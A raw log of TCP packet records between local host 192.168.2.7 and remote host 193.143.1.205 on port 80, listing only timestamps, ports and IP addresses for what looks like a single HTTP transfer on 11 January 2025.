Jan 11, 2025 02:05:46.626207113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.626259089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.626271009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.626316071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.626316071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.626316071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.626548052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.626559973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.626573086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.626600027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.626718044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.626729965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.626741886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.626753092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.626758099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.626787901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.626908064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.626919985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.626986027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.627348900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.627362967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.627376080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.627397060 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.627432108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.627463102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.627475977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.627487898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.627499104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.627556086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.627556086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.627667904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.627681971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.627692938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.627703905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.627758026 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.627758980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.628312111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.628324032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.628336906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.628412962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.628439903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.628452063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.628463984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.628504992 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.628505945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.628621101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.628632069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.628644943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.628655910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.628667116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.628690004 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.628690004 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.629308939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.629321098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.629333019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.629371881 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.629371881 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.629420042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.629434109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.629445076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.629458904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.629487991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.629511118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.629653931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.629666090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.629678011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.629689932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.629796982 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.629796982 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.630270004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.630281925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.630294085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.630347013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.630428076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.630439997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.630451918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.630465984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.630498886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.630498886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.630584002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.630595922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.630609035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.630637884 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.630652905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.630676031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.631369114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.631462097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.631462097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.636818886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.641819954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.641833067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.641845942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.641863108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.641872883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.641879082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.641882896 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.641957998 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.642065048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.642076969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.642090082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.642117023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.642168045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.642296076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.651251078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.656414986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.675246000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.675259113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.675272942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.675343990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.712806940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.712826967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.712840080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.712905884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.712910891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.712910891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.712917089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.712929964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.712965965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.712996006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.713042974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.713089943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.713149071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.713211060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.713222027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.713263035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.713263988 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.713284016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.713356018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.713367939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.713381052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.713547945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.713547945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.713566065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750360966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750400066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750415087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750437021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750452042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750463963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750468016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.750468016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.750478983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750493050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750505924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750518084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.750526905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750530005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.750535011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750541925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750550032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750585079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750590086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.750658035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.750689983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750705004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750724077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750735998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750778913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.750778913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.750830889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750895023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750906944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750936985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.750963926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750977039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.750993013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.751107931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.751120090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.751132965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.751146078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.751233101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.751245975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.751257896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.751271009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.751281977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.751281977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.751329899 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.751410961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.751425028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.751436949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.751446962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.751502037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.751502037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.751694918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.751708984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.751719952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.751816034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.751816034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.751868010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.751879930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.751890898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.751904964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.751935005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.751950979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.752042055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.752052069 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.752055883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.752070904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.752084970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.752129078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.752324104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.752337933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.752350092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.752362013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.752372026 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.752376080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.752389908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.752398968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.752423048 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.752492905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.752506018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.752516985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.752533913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.752564907 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.752836943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.752851009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.752863884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.752893925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.752975941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.752990007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.753000975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.753012896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.753072977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.753072977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.753140926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.753163099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.753175020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.753187895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.753199100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.753202915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.753243923 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.753303051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.753340006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.755497932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.755508900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.755520105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.755532980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.755570889 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.755613089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.755614996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.755628109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.755640030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.755646944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.755654097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.755740881 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.755810022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.755821943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.755835056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.755847931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.755851984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.755861998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.755873919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.755961895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.755961895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.755990028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.756253958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.756287098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.756335020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.756347895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.756360054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.756375074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.756401062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.756401062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.756565094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.756581068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.756625891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.756638050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.756649971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.756694078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.756694078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.756714106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.756737947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.756907940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.756920099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.756932974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.756949902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.756979942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.756999969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.756999969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.775784016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.800698996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.800714016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.800726891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.800759077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.800759077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.800848007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.800859928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.800873041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.800884008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.800901890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.800966024 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.800986052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.801073074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.801085949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.801103115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.801115990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.801129103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.801141024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.801163912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.801163912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.801233053 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.837769985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.837781906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.837789059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.837841988 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.837882042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.837894917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.837907076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.837970972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.837990046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838047981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.838076115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838087082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838098049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838109970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838121891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838160992 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.838160992 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.838275909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838289976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838301897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838311911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838323116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838335037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838344097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838387012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.838387012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.838387012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.838414907 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.838481903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838495016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838505983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838567972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.838615894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838627100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838639021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838645935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838651896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838704109 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.838704109 CET	49699	80	192.168.2.7	193.143.1.205
